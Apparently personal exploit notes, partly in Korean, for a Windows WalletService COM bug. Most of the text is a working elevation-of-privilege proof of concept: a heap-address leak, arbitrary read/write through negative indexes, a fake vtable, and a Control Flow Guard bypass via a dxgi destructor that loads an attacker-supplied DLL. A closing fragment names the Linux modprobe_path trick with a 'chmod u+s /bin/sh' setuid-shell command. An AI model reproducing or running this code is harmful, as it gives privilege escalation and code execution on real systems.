https://tinyurl.com/4jz2a3b3
### Windbg Symbol
```
SRV*c:\symbols*http://msdl.microsoft.com/download/symbols
```
### Windows Calling Convention
rcx, rdx, r8, r9 , Stack... 순서로 인자 전달
코드 기준 좌측->우측
### Memory Leak 예제 코드
```clike=
obj1->CreateCustomProperty(&obj2);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
uint32_t high;
uint32_t low;
int32_t idx = -4;
obj2->GetGroup(idx, &high, &low);
uint64_t heapAddr = ((uint64_t)high) << 32;
heapAddr += low;
heapAddr -= 0x60;
printf("heap @ %llx\n", heapAddr);
```
### Eop
```clike=
#include "pch.h"
class __declspec(uuid("21f1a452-9759-48a5-8d9b-bbd859ef89ee")) IWalletCustomProperty : public IUnknown {
public:
virtual HRESULT __stdcall GetLabel(struct tagPROPVARIANT* p0);
virtual HRESULT __stdcall SetLabel(struct tagPROPVARIANT* p0);
virtual HRESULT __stdcall GetValue(struct tagPROPVARIANT* p0);
virtual HRESULT __stdcall SetValue(struct tagPROPVARIANT* p0);
virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t* p0);
virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0);
virtual HRESULT __stdcall GetGroup( /* ENUM32 */ uint32_t idx, /* ENUM32 */ uint32_t* v1, uint32_t* v2);
virtual HRESULT __stdcall SetGroup( /* ENUM32 */ uint32_t idx, /* ENUM32 */ uint32_t v1, uint32_t v2);
};
class __declspec(uuid("16083582-9360-4758-8978-46970ae14999")) IWalletItem : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(int64_t* p0);
virtual HRESULT __stdcall Proc4( /* ENUM32 */ uint32_t* p0, int64_t p1, int64_t* p2);
virtual HRESULT __stdcall Proc5( /* ENUM32 */ uint32_t* p0);
virtual HRESULT __stdcall Proc6( /* ENUM32 */ uint32_t p0, struct Struct_97* p1);
virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t p0, struct Struct_97* p1);
virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0, int64_t* p1);
virtual HRESULT __stdcall Proc9( /* ENUM32 */ uint32_t p0, int64_t* p1);
virtual HRESULT __stdcall CreateCustomProperty(IWalletCustomProperty** p0);
virtual HRESULT __stdcall Proc11(wchar_t* p0, IWalletCustomProperty** p1);
virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletCustomProperty* p1);
virtual HRESULT __stdcall Proc13(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2, /* ENUM32 */ uint32_t* p3);
virtual HRESULT __stdcall Proc14(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2, /* ENUM32 */ uint32_t p3);
virtual HRESULT __stdcall Proc15(VARIANT* p0);
virtual HRESULT __stdcall Proc16( /* ENUM32 */ uint32_t p0, VARIANT* p1);
virtual HRESULT __stdcall Proc17(int64_t* p0);
virtual HRESULT __stdcall Proc18();
virtual HRESULT __stdcall Proc19( /* ENUM32 */ uint32_t p0);
virtual HRESULT __stdcall Proc20(IWalletItem* p0);
virtual HRESULT __stdcall Proc21( /* ENUM32 */ uint32_t* p0);
virtual HRESULT __stdcall Proc22(int64_t* p0);
};
class __declspec(uuid("14ff27de-1dc9-4617-8ed3-9a042d52391f")) IWalletItemList : public IUnknown {
public:
virtual HRESULT __stdcall HasPendingChanges( /* ENUM32 */ uint32_t* p0);
virtual HRESULT __stdcall GetItemCount(ULONG* p0);
virtual HRESULT __stdcall GetItemAt(int64_t p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc6(int64_t p0);
virtual HRESULT __stdcall Proc7(int64_t p0, int64_t* p1);
virtual HRESULT __stdcall Proc8(int64_t p0, int64_t* p1);
virtual HRESULT __stdcall Proc9(int64_t p0, /* ENUM32 */ uint32_t* p1);
virtual HRESULT __stdcall Proc10(IWalletItemList* p0);
};
class __declspec(uuid("fe8a7c3d-a504-4c31-81ec-d8ec8d9fa6b7")) IWalletTransactionManager : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1);
virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc5(int64_t* p0);
virtual HRESULT __stdcall Proc6(int64_t p0);
virtual HRESULT __stdcall Proc7(int64_t p0);
};
class __declspec(uuid("c5b00653-be27-41f2-b669-d780698f8d9d")) IWalletLocationManager : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1);
virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc5(int64_t* p0);
virtual HRESULT __stdcall Proc6(int64_t p0);
virtual HRESULT __stdcall Proc7(int64_t p0);
virtual HRESULT __stdcall Proc8();
virtual HRESULT __stdcall Proc9(int64_t* p0);
virtual HRESULT __stdcall Proc10();
virtual HRESULT __stdcall Proc11();
};
class __declspec(uuid("b9860518-0cdf-4dba-a981-807f3cbdc80a")) IWalletX : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(IWalletItemList** p0);
virtual HRESULT __stdcall Proc4(IWalletItemList** p0);
virtual HRESULT __stdcall Proc5(wchar_t* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc6();
virtual HRESULT __stdcall Proc7(IWalletTransactionManager** p0);
virtual HRESULT __stdcall Proc8(IWalletLocationManager** p0);
virtual HRESULT __stdcall Proc9(IWalletItem* p0, /* ENUM32 */ uint32_t p1);
virtual HRESULT __stdcall Proc10(int64_t p0, int64_t* p1);
virtual HRESULT __stdcall CreateWalletItem( /* ENUM32 */ uint32_t p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc13(int64_t p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc14(IWalletItem* p0);
virtual HRESULT __stdcall Proc15(IWalletItem* p0, wchar_t* p1);
virtual HRESULT __stdcall Proc16(IWalletItem* p0, /* ENUM32 */ uint32_t* p1);
virtual HRESULT __stdcall Proc17(IWalletItem* p0, int64_t p1);
virtual HRESULT __stdcall Proc18(wchar_t* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc19(wchar_t* p0);
};
IWalletX* obj;
IWalletItem* obj1;
IWalletCustomProperty* obj2, * obj3;
ULONG64 heap;
int PrintError(unsigned int line, HRESULT hr)
{
wprintf_s(L"ERROR: Line:%d HRESULT: 0x%X\n", line, hr);
return hr;
}
void write(size_t addr, void *buf, UINT size=8) {
uint32_t num1 = addr & 0xffffffff,
num2 = addr >> 32,
backup, nouse;
if (num2 == -1 || num1 == 0x20)
{
puts("error addr, try again");
exit(-1);
}
obj2->GetGroup(-9, &backup, &nouse);
obj2->SetGroup(-9, backup, num1);
obj2->GetGroup(-8, &nouse, &backup);
obj2->SetGroup(-8, num2, backup);
addr = -1;
num1 = addr & 0xffffffff;
num2 = addr >> 32;
obj2->GetGroup(-7, &backup, &nouse);
obj2->SetGroup(-7, backup, num1);
obj2->GetGroup(-6, &nouse, &backup);
obj2->SetGroup(-6, num2, backup);
tagPROPVARIANT input;
input.vt = 8;
input.bstrVal = SysAllocStringLen((const OLECHAR*)buf, size);
obj2->SetLabel(&input);
}
char* read(size_t addr, size_t size=8) {
uint32_t num1 = addr & 0xffffffff,
num2 = addr >> 32,
backup, backup1, nouse;
char* buf = new char[size + 1]{ 0 }, * p = buf;
obj2->GetGroup(-9, &backup, &nouse);
obj2->GetGroup(-8, &nouse, &backup1);
for (size_t i = 0; i < size; i++) {
obj2->SetGroup(-9, backup, num1++);
obj2->SetGroup(-8, num2, backup1);
tagPROPVARIANT input;
input.vt = 8;
input.bstrVal = 0;
obj2->GetLabel(&input);
*p++ = *(char*)input.bstrVal;
}
return buf;
}
DWORD poc(LPVOID dllpath)
{
CoInitializeEx(NULL, COINIT_MULTITHREADED);
HRESULT hr;
CLSID clsid;
IID iid;
CLSIDFromString(OLESTR("{97061DF1-33AA-4B30-9A92-647546D943F3}"), &clsid);
IIDFromString(OLESTR("{b9860518-0cdf-4dba-a981-807f3cbdc80a}"), &iid);
hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&obj);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
hr = obj->CreateWalletItem(1, &obj1);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
hr = obj1->CreateCustomProperty(&obj2);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
for(int i=0;i<10;i++)
hr = obj1->CreateCustomProperty(&obj3);
uint32_t out1, out2;
heap = 0;
hr = obj2->GetGroup(-13,&out1,&out2);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
heap = out2;
hr = obj2->GetGroup(-12, &out1, &out2);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
heap += (ULONG64)out1 << 32;
printf("heap @ 0x%llx\n", heap); // heap
printf("WalletCustomProperty @ 0x%llx\n", heap - 0x20);
//-----------------------------------------------
size_t walletservice = (size_t)LoadLibrary(L"walletservice.dll");
size_t dxgi = (size_t)LoadLibrary(L"dxgi.dll");
size_t dxgi_environ = 0xC5E68 + dxgi;
size_t dxgi_environ_length = 0xC5E80 + dxgi;
printf("dxgi_environ @ %llx\n", dxgi_environ);
printf("dxgi_environ_length @ %llx\n", dxgi_environ_length);
size_t FakeVTBuf = 0x66EB0 + walletservice - 0x500; // read / writable memory in WalletService
size_t NeedFlagBuf = 0x66F30 + walletservice - 0x500;
size_t myenviron = 0x66F38 + walletservice - 0x500;
printf("FakeVTBuf @ %llx\n", FakeVTBuf);
printf("NeedFlagBuf @ 0x%llx\nwill_call: 0x%llx\n", NeedFlagBuf, dxgi + 0x011D00);
printf("myenviron @ %llx\n", myenviron);
write(myenviron, (void*)dllpath, wcslen((const wchar_t*)dllpath) + 1);
size_t fakevtable_start = FakeVTBuf;
size_t fakevtable[] = {
0x4141414141,
0x4141414142,
0x4141414143,
dxgi + 0x011D00
};
size_t tmp;
for (auto i : fakevtable) {
tmp = i;
write(fakevtable_start, &tmp,8);
fakevtable_start += 8;
}
tmp = NeedFlagBuf - 0x174;
write(heap + 0x60, &tmp, 8);
tmp = 1;
write(NeedFlagBuf, &tmp, 8);
tmp = myenviron;
write(dxgi_environ, &tmp, 8);
tmp = 0x530;
write(dxgi_environ_length, &tmp, 4);
write(dxgi_environ_length + 0xc, &tmp, 8);
write(heap-0x20, &FakeVTBuf, 8); // this's vtable is currupted
uint32_t ac = 1;
tagPROPVARIANT t = { };
hr = obj2->GetLabel(&t); // call dxgi!ATL::CComObject<CDXGIAdapter>::`vector deleting destructor
if (FAILED(hr)) { PrintError(__LINE__, hr); }
puts("Done!");
while(1){} // hang
return 0;
}
int wmain(int argc,wchar_t **argv) {
if (argc != 2) {
printf("usage: %ws .dll(Absolute_path)\n", argv[0]);
exit(0);
}
poc(argv[1]);
}
```
CFG 우회 메소드
```
ATL::CComObject<CDXGIAdapter>::`vector deleting destructor'
```
1. ATL::CComObject<CDXGIAdapter>::`vector deleting destructor' 메소드는 guard_fids_table에 정의된 메소드로, fake vtable 요소로 사용할 수 있음.
2. 해당 함수는 내부적으로 전역변수 문자열을 참조한 후, 해당 문자열을 경로로 LoadLibrary를 호출
3. 임의 주소에 대한 쓰기가 가능하다면, 해당 전역변수에 공격자 dll 경로를 덮어씀
4. ATL::~~ 메소드 주소를 포함한 fake vtable을 구성
5. victim 객체의 vtable을 fake vtable로 조작
modprobe_path
!#/bin/sh
chmod u+s /bin/sh
0xfffffff